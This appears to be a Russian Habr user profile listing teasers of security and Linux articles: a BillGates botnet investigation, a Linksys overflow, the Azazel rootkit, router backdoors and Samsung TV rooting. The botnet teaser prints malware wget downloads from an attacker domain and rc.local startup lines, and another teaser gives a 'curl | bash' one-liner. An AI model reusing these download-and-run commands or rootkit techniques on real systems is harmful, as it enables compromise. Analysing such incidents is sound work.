Как стать автором
Обновить
1338
0.2

Пользователь

Отправить сообщение

Исследуем Linux Botnet «BillGates»

Время на прочтение26 мин
Количество просмотров87K
image

Написал мне вчера lfatal1ty, говорит, домашний роутер на x86 с CentOS как-то странно себя ведет, грузит канал под гигабит, и какой-то странный процесс «atddd» загружает процессор. Решил я залезть и посмотреть, что же там творится, и сразу понял, что кто-то пробрался на сервер и совершает с ним непотребства всякие. В процессах висели wget-ы на домен dgnfd564sdf.com и процессы atddd, cupsdd, cupsddh, ksapdd, kysapdd, skysapdd и xfsdxd, запущенные из /etc:
Скрытый текст
root      4741  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/sksapd
root      4753  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/xfsdx
root      4756  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/cupsdd
root      4757  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/kysapd
root      4760  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/ksapd
root      4764  0.0  0.0  41576  2268 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/atdd
root      4767  0.0  0.0  41576  2264 ?        S    21:00   0:00 wget http://www.dgnfd564sdf.com:8080/skysapd

К сожалению, процессы не додумался скопировать

Начальный анализ


Сначала я полез смотреть, что же вообще происходит и насколько серьезно была скомпрометирована система. Первое, что мне пришло в голову проверить — /etc/rc.local. Там было следующее:
cd /etc;./ksapdd
cd /etc;./kysapdd
cd /etc;./atddd
cd /etc;./ksapdd
cd /etc;./skysapdd
cd /etc;./xfsdxd

«Хмм, ладно», подумал я. Полез в root'овский crontab
Читать дальше →
Всего голосов 150: ↑145 и ↓5+140
Комментарии72

Переполненяем стек в fprintf на Linksys WRT120N

Время на прочтение4 мин
Количество просмотров12K
После того, как мы получили расшифрованную прошивку и JTAG-доступ к устройству, настало время поисследовать код на какие-нибудь интересные баги.
Как мы узнали раньше, WRT120N работает на RTOS. В целях безопасности, административный WEB-интерфейс RTOS использует HTTP Basic authentication:

image

Большинство страниц требуют аутентификацию, но есть несколько страниц, которые явно запрещают ее:

image

image

Любой запрос на эти URL будет выполнен без аутентификации, поэтому это хорошее место для поиска багов.

Некоторые из этих страниц не существуют на самом деле, другие существуют, но ничего не делают (NULL-функции). Однако, страница по адресу /cgi/tmUnBlock.cgi имеет какой-то обработчик, который обрабатывает пользовательские данные:
image
Читать дальше →
Всего голосов 69: ↑67 и ↓2+65
Комментарии12

Исследуем обфускацию прошивки Linksys WRT120N

Время на прочтение5 мин
Количество просмотров20K
Недавно мое внимание привлек факт, что в обновлениях прошивок для Linksys WRT120N используют какую-то обфускацию. Мне показалось, что будет интересно порыться в ней, и я решил взглянуть.

Последняя версия прошивки не выглядит как прошивка, с которой можно сразу работать
image

Как вы можете видеть, есть небольшой блок данных, сжатых LZMA — это просто HTML-файлы для веб-интерфейса роутера. Большая часть прошивки состоит из каких-то странных, случайных данных. Т.к. мне больше ничего с ней не сделать, а любопытство все сильнее пыталось одолеть меня, я купил эту модель роутера себе (как они стоимость Amazon Prime-то взвинтили!).
Читать дальше →
Всего голосов 61: ↑56 и ↓5+51
Комментарии13

Новый Userland-RootKit Azazel

Время на прочтение3 мин
Количество просмотров11K
Возможно вы слышали про руткиты Jynx и Jynx2. Это так называемые userland-руткиты, они используют возможность переменной LD_PRELOAD, которая позволяет подгружать любые библиотеки до того, как будет запущена программа. Они уже относительно старые, но все еще хорошо работают.
2 дня назад, Github-пользователь Chokepoint выложил rootkit Azazel. Он основан на исходном коде Jynx и имеет много новых фич:

  • Антиотладочные механизмы
  • Скрытие от unhide, lsof, ps, ldd
  • Скрытие файлов и директорий
  • Скрытие удаленных подключений
  • Скрытие процессов
  • Скрытие логинов
  • Скрытие от локального сниффинга трафика через PCAP
  • 2 бекдора с полноценными шеллами (с PTY):
  • — Crypthook accept()-бекдор
  • — Обычный accept()-бекдор
  • PAM-бекдор для аутентификации под любым пользователем
  • Очистка логов utmp/wtmp для PTY
  • Обфускация строк скомпилированной библиотеки через xor.

Давайте рассмотрим их подробно.
Читать дальше →
Всего голосов 38: ↑34 и ↓4+30
Комментарии13

Как работает Chromecast?

Время на прочтение3 мин
Количество просмотров35K
Введение

Загорелся я недавно выбором беспроводного адаптера для передачи видео. Смотрел китайские адаптеры с Miracast/DLNA и, естественно, не обошел меня стороной и Chromecast. Если с такими технологиями, как WiDi, Miracast и донглами вроде AIRTAME все понятно (не требуется поддержка со стороны софта, видится системой как еще один монитор), как устроен Chromecast внутри я не был до конца уверен, как и не был уверен, подойдет ли он мне. Однако, я нашел open-source проект эмулятора Chromecast LeapCast, и решил его испробовать в работе, а также изучить протокол.

Установка и использование

Установка на ArchLinux довольно простая — достаточно установить пакет leapcast-git из AUR. Необходимо еще установить Google Chrome или Chromium, т.к. его нет в зависимостях.

Запускаем программу и видим следующую картину:
Скрытый текст
INFO:root:Starting SSDP server
INFO:root:Starting LEAP server
INFO:root:Loading Config-JSON from Google-Server
INFO:requests.packages.urllib3.connectionpool:Starting new HTTPS connection (1): clients3.google.com
INFO:root:Parsing Config-JSON
INFO:root:Added edaded98-5119-4c8a-afc1-de722da03562 app
INFO:root:Added PlayMovies app
INFO:root:Added 00000000-0000-0000-0000-000000000000 app
INFO:root:Added 1812335e-441c-4e1e-a61a-312ca1ead90e app
INFO:root:Added 06ee44ee-e7e3-4249-83b6-f5d0b6f07f34 app
INFO:root:Added 2be788b9-b7e0-4743-9069-ea876d97ac20 app
INFO:root:Added GoogleSantaTracker app
INFO:root:Added 06ee44ee-e7e3-4249-83b6-f5d0b6f07f34_1 app
INFO:root:Added Pandora_App app
INFO:root:Added aa35235e-a960-4402-a87e-807ae8b2ac79 app
INFO:root:Added YouTube app
INFO:root:Added HBO_App app
INFO:root:Added TicTacToe app
INFO:root:Added Revision3_App app
INFO:root:Added Songza_App app
INFO:root:Added a7f3283b-8034-4506-83e8-4e79ab1ad794_2 app
WARNING:root:Didn't add Netflix because it has no URL!
INFO:root:Added GoogleMusic app
INFO:root:Added 18a8aeaa-8e3d-4c24-b05d-da68394a3476_1 app
INFO:root:Added Post_TV_App app
INFO:root:Added ChromeCast app
INFO:root:Added Hulu_Plus app
INFO:root:Added GoogleCastSampleApp app
INFO:root:Added GoogleCastPlayer app
INFO:root:Added Fling app

Открываем любое приложение на андроид-смартфоне, поддерживающее Chromecast (например, YouTube), и можем подключиться к Leapcast:
image
В это же время в логе:
Скрытый текст
INFO:tornado.access:200 GET /ssdp/device-desc.xml (192.168.0.105) 2.22ms
INFO:tornado.access:200 GET /apps/YouTube (192.168.0.105) 3.18ms
INFO:tornado.access:200 GET /apps/YouTube (192.168.0.105) 3.67ms
INFO:tornado.access:201 POST /apps/YouTube (192.168.0.105) 5.29ms
INFO:root:Channel for app set to <leapcast.services.websocket.ServiceChannel object at 0x195f690>

Ого, работает! Как же оно работает?
Читать дальше →
Всего голосов 19: ↑18 и ↓1+17
Комментарии17

Skype 4.2.0.13 — минорный релиз с долгожданным фиксом

Время на прочтение1 мин
Количество просмотров38K
После 8 месяцев с момента предыдущего релиза, выходит новая минорная версия Skype.
Казалось бы, зачем писать об этом на хабрахабре, ведь версия-то минорная? На самом деле, это, пожалуй, одно из самых важных обновлений за последние годы:
  • Добавлен workaround для хрипов PulseAudio 3.x и 4.x
PulseAudio сейчас есть практически в любом дистрибутиве по умолчанию, и, на моей памяти Skype — единственное приложение, которое плохо с ним работало. Постоянные хрипы, шуршания, треск. Надеюсь, больше такого не будет.

Это не единственное изменение в новой версии:
  • Починено редкое падение приложения при открытии чата из-за несуществующего смайла
  • Починено падение на Ubuntu/Debian x86_64 из-за отсутствующей зависимости libasound2-plugins:i386
  • Починен набор номера на диалпаде (иногда не работал)
Всего голосов 84: ↑71 и ↓13+58
Комментарии100

SoftEther VPN — продвинутый мультипротокольный VPN-сервер и клиент

Время на прочтение3 мин
Количество просмотров398K
Как скоро я смогу вас заинтересовать, если скажу, что в этой статье речь пойдет о VPN-сервере, который может поднимать L2TP/IPsec, OpenVPN, MS-SSTP, L2TPv3, EtherIP-серверы, а также имеет свой собственный протокол «SSL-VPN», который неотличим от обычного HTTPS-трафика (чего не скажешь про OpenVPN handshake, например), может работать не только через TCP/UDP, но и через ICMP (подобно pingtunnel, hanstunnel) и DNS (подобно iodine), работает быстрее (по заверению разработчиков) текущих имплементаций, строит L2 и L3 туннели, имеет встроенный DHCP-сервер, поддерживает как kernel-mode, так и user-mode NAT, IPv6, шейпинг, QoS, кластеризацию, load balancing и fault tolerance, может быть запущен под Windows, Linux, Mac OS, FreeBSD и Solaris и является Open-Source проектом под GPLv2?

То-то и оно. Такое пропустить нельзя.
Читать дальше →
Всего голосов 125: ↑120 и ↓5+115
Комментарии45

Backdoor в роутерах Linksys и Netgear

Время на прочтение1 мин
Количество просмотров43K
Не так давно, находили backdoor в роутерах фирмы D-Link, Tenda и Medialink, а 2 дня назад, пользователь github под ником elvanderb лишился доступа к веб-интерфейсу своего роутера и решил проверить, что же случилось.
Как оказалось, на некоторых моделях роутеров Linksys и Netgear (подтверждены Linksys WAG200G, Netgear DM111Pv2, Linksys WAG320N и, возможно, другие) тоже есть встроенный backdoor, с большими функциями, чем у других производителей роутеров.

Backdoor слушает TCP-порт 32764 и имеет 13 разных функций
Читать дальше →
Всего голосов 62: ↑55 и ↓7+48
Комментарии18

Все технологии туннелирования IPv6 понятным языком

Время на прочтение4 мин
Количество просмотров73K
Ура-ура, появился хаб IPv6!
В этой статье я хотел бы рассмотреть все актуальные способы туннелирования IPv6 через готовую IPv4-инфраструктуру, описанные в RFC 7059. Один из немногих RFC, написанных понятным человеческим языком, кстати.
Вы все еще сомневаетесь, нужен ли вам IPv6?
  • У всех устройств белый IP. Никаких NAT, никаких пробросов портов
  • Выше скорость скачивания торрентов за счет пиров, имеющих IPv6-адрес, но с «серым» IPv4.
  • В некоторых случаях, выше скорость доступа к сайтам (YouTube через IPv6 не тормозит по вечерам)
  • Доступ к сайтам, заблокированным в РФ, имеющим IPv6-адрес (nnm-club, например)
Но это еще не все. Представьте ситуацию, когда у вас сломался DHCP-сервер, а на компьютер в этой сети нужно побыстрее бы зайти. Он не получает IP-адрес, вы не можете на него зайти. Беда. Однако, если у вас был просто включен IPv6 — даже не настроен — то вы можете просто пропинговать магический адрес ff02::1, получить ответ от этого компьютера (т.к. у него в любом случае будет link-local IPv6-адрес!) и зайти на него.

Ну да ладно, перейдем к туннелированию.

6in4
Один из самых старых способов туннелирования, придуманный аж в 1996 году, и до сих пор очень популярный. Такие крупные туннель-брокеры, как Hurricane Electric, gogo6 и SIXXS используют его. Использует протокол 41 (не путайте с портом!) и не работает через NAT. Поддерживается всеми современными ОС из коробки.
Читать дальше →
Всего голосов 44: ↑42 и ↓2+40
Комментарии24

Google купил Boston Dynamics

Время на прочтение1 мин
Количество просмотров139K
image
Компанию, которая действительно впечатляла своими роботами, сегодня купил Google.
Цена сделки не разглашается. В Google заявили, что после окончания текущих контактов с армией, они больше не будут с ней работать.

Boston Dynamics стал аж восьмой робототехнической компанией, которую Google купил за эти полгода.
Что они там затевают?
Всего голосов 149: ↑128 и ↓21+107
Комментарии135

Запускаем Ubuntu и смотрим Torrent и Torrent-TV прямиком на Samsung SmartTV

Время на прочтение6 мин
Количество просмотров167K
image
После прочтения комментария от awoland во вчерашней статье Как SmartTV забыли о главном, я сразу полез пробовать получить root-права и telnet/ssh на своем телевизоре. Оказывается, все уже готово для этого, и это проще простого!

Достаточно установить Виджет SamyGo, и он все сделает за вас!

Что дает нам SamyGO?

  • Root-доступ на ТВ через Telnet
  • Виртуальную флешку, монтирование NFS, Samba, FTP на нее
  • Samba, FTP-серверы
  • Apache2 с PHP
  • rtorrent
  • Уйму веселья!


# -*- DISCLAIMER -*-
Все, что вы делаете со своим ТВ, вы делаете на свой страх и риск. Автор этой статьи не несет никакой ответственности за ваш анал.

Для моего ТВ (E-серия), мне необходимо было:
  1. Установить Skype на ТВ и запустить его 1 раз
  2. Скачать инсталлятор виджета SamyGo на флешку
  3. Запустить его с флешки
  4. ???
  5. PROFIT!

Как они это сделали, демоны?

Вот как выглядит скрипт инсталлятора
Читать дальше →
Всего голосов 104: ↑100 и ↓4+96
Комментарии66

Как SmartTV забыли о главном

Время на прочтение3 мин
Количество просмотров211K
Зачем люди покупают SmartTV? Вероятно, некоторые хотят играть на них в игры, некоторые хотят использовать приложения вроде Skype, но, в большинстве своем, люди покупают SmartTV чтобы смотреть видеофайлы, слушать аудио и смотреть потоки, вроде IPTV. Однако, судя по реализациям этих функций в телевизорах, производители, похоже, забывают, что люди покупают ТВ, чтобы смотреть его.
У меня есть Samsung SmartTV UE40EH5300. Это модель 2012 года, т.е. прошлогоднего модельного ряда. Нельзя сказать, что она устарела, обновления выходят время от времени.

Поддержка форматов аудио

Сериал только что скачался, и вы в предвкушении садитесь на диван, включаете телевизор, выбираете первую серию, и…
image
«Как же так?», говорите вы, «Я же столько музыки слушал во FLAC на этом ТВ».
Читать дальше →
Всего голосов 152: ↑130 и ↓22+108
Комментарии247

Список бесплатных DNS-сервисов

Время на прочтение2 мин
Количество просмотров289K
Обновляю 4-летний список бесплатных сервисов для управления доменами

Primary + Secondary
Сервис Кол-во NS Кол-во доменов Типы записей TTL Доп. фичи
pdd.yandex.ru 2 50 AAAA и SRV + Есть API
cloudflare.com 2 неограниченное AAAA, SRV, SPF, LOC +
2ns.info 4 неограниченное AAAA и SRV + Есть экспорт. Показывает регистратора, дату регистрации домена, дату окончания регистрации, тИЦ. By leonid239
dns.he.net 5 50 все + NS доступны по IPv6. Свой DDNS-сервис
www.netbreeze.net/dns 3 1 AAAA и SRV + Есть API
entrydns.net 3 неограниченное AAAA и SRV + Есть свой DDNS-сервис, REST-api
Читать дальше →
Всего голосов 113: ↑109 и ↓4+105
Комментарии75

jor1k: Linux в браузере с поддержкой сети

Время на прочтение1 мин
Количество просмотров12K
То, что мы давно ждали, появилось.
Встречайте: jor1k: OpenRISC OR1K Javascript Emulator Running Linux With Network Support
  • У каждой виртуалки есть общая сеть с доступом в интернет
  • У каждой виртуалки есть telnetd с root без пароля
  • У каждой виртуалки есть nmap ;)
  • Виртуалка получает IP по DHCP
  • Есть поддержка framebuffer
Сеть реализована на websockets со стороны сервера и эмулируемом OpenCores ethmac со стороны VM.

У меня на ноутбуке выдает 120 MIPS с ядром asm.js.
Более подробная информация в блоге автора.
Have fun!
Всего голосов 38: ↑37 и ↓1+36
Комментарии15

/dev/null as a Service

Время на прочтение1 мин
Количество просмотров55K
В современном мире, все является сервисом. Вы можете создавать документы, заливать фотографии, разворачивать компьютеры, но что происходит с мусором? Он копится и занимает все вокруг. Именно поэтому мы запускаем /dev/null в облаке.

IAAS, SAAS, PAAS?
Мы называем свое детище DAAS.

Вам больше не придется избавляться от лишних данных самому. Используйте наш распределенный сервис, расположенный в более, чем 380 локациях! Не имеет значения, будете ли вы использовать его в личных целях, либо для бизнеса. Доступны тарифы даже для целых корпораций.
Читать дальше →
Всего голосов 269: ↑227 и ↓42+185
Комментарии112

Практическое применение LD_PRELOAD или замещение функций в Linux

Время на прочтение4 мин
Количество просмотров43K
Всем привет!
В 2010 году, shoumikhin написал замечательную статью Перенаправление функций в разделяемых ELF-библиотеках. Та статья очень грамотно написана, полная, но она описывает более харкордный способ замещения функций. В этой статье, мы будем использовать стандартную возможность динамического линкера — переменную окружения LD_PRELOAD, которая может загрузить вашу библиотеку до загрузки остальных.

Как это работает?

Да очень просто — линкер загружает вашу библиотеку с вашими «стандартными» функциями первой, а кто первый — того и тапки. А вы из своей библиотеки можете загрузить уже реальную, и «проксировать» вызовы, попутно делая что вам угодно.

Реальный Use-Case #1: Блокируем mimeinfo.cache в Opera


Мне очень нравится браузер Opera. А еще я использую KDE. Opera не очень уважает приоритеты приложений KDE, и, зачастую, так и норовит открыть скачанный ZIP-архив в mcomix, PDF в imgur-uploader, в общем, вы уловили суть. Однако, если ей запретить читать файл mimeinfo.cache, то она все будет открывать через «kioclient exec», а он-то уж лучше знает, в чем я хочу открыть тот или иной файл.

Чем может приложение открывать файл? На ум приходят две функции: fopen и open. В моем случае, opera использовала 64-битный аналог fopen — fopen64. Определить это можно, воспользовавшись утилитой ltrace, или просто посмотрев таблицу импорта утилитой objdump.
Читать дальше →
Всего голосов 75: ↑74 и ↓1+73
Комментарии14

Яндекс запускает PaaS Cocaine

Время на прочтение1 мин
Количество просмотров23K
Яндекс релизнул PaaS (Platform-as-a-Service) на основе своего же продукта Cocaine — системы с открытым исходным кодом, позволяющей создавать аналоги Google AppEngine или Heroku.
В данный момент, поддерживаются C, C++, Python, и в разработке Perl и JavaScript.

В Cocaine используются LXC — Linux Containers, легковесное подобие виртуальных машин, для этого используется обертка Docker, написанная на Go.

Чтобы создать свое облако, нужно всего лишь запустить cocained на одной или нескольких машинах. Клиенты, которые подключаются к cocained, называются Cocaine Dealer, и имеют FastCGI-интерфейс, который просто прикрутить к любому веб-серверу.
Все приложения в облаке исполняются независимо друг от друга.

Cocaine уже используют в:
  • Яндекс.Браузере
  • Яндекс.Паспорте
  • Внутренней инфраструктуре Яндекса


Репозиторий Cocaine на GitHub
Всего голосов 77: ↑67 и ↓10+57
Комментарии58

Never Gonna Give Your Terminal

Время на прочтение1 мин
Количество просмотров16K
Rick Astley — Never Gonna Give Your Up теперь и в вашем мобильном терминале!

curl -s https://raw.github.com/keroserene/rickrollrc/master/roll.sh | bash

Используется видео, которое было сконвертировано в ASCII 256-color, и звук в wav или raw, в зависимости от системы.
Для вывода «видео» используется python.
Имеется функция встраивания в .bashrc ;)

Работает на Linux, Mac OS и Cygwin

Репозиторий на github
Всего голосов 72: ↑57 и ↓15+42
Комментарии48

Поддержка PHP в Google App Engine!

Время на прочтение1 мин
Количество просмотров15K
3 дня назад, 8 октября, Google анонсировал поддержку PHP в App Engine для всех пользователей. Ранее она была доступна только ограниченному кругу лиц для тестирования.
В API есть некоторые ограничения, но, в общем-то, популярные приложения работают!

Итак, точно поддерживаются:
  • phpMyAdmin
  • Drupal
  • phpBB
  • Wordpress
Фреймворки:
  • Laravel
  • Silex
  • Codeigniter

Также, доступны API для взаимодействия с Google Drive и Google+, Google Storage, App Engine Task Queues и App Engine Modules
Всего голосов 60: ↑52 и ↓8+44
Комментарии31

FQ_CoDel — планировщик пакетов, который сделает все за вас

Время на прочтение3 мин
Количество просмотров27K
Качаете и раздаете торренты на высокой скорости, но из-за этого прыгает пинг в онлайн-играх, и играть становится невозможно? Сожитель совершает видеозвонок по скайпу, а вы не хотите ему мешать? Держите файлопомойку, которая занимает весь канал, а QoS настраивать лень? Заливаете видео на youtube с телефона, скорость ограничить не можете?

fq_codel — планировщик пакетов (qdisc) с активным управлением очередью, который решит все ваши проблемы!
Все еще не верите? Посмотрите видео!

На видео видно, что компьютер слева, подключенный через обычный домашний роутер с прошивкой cerowrt (измененный OpenWRT), открывает сайты значительно быстрее, чем правый компьютер с тем же роутером, но со стандартной прошивкой.
Читать дальше →
Всего голосов 42: ↑42 и ↓0+42
Комментарии31

Информация

В рейтинге
2 697-й
Зарегистрирован
Активность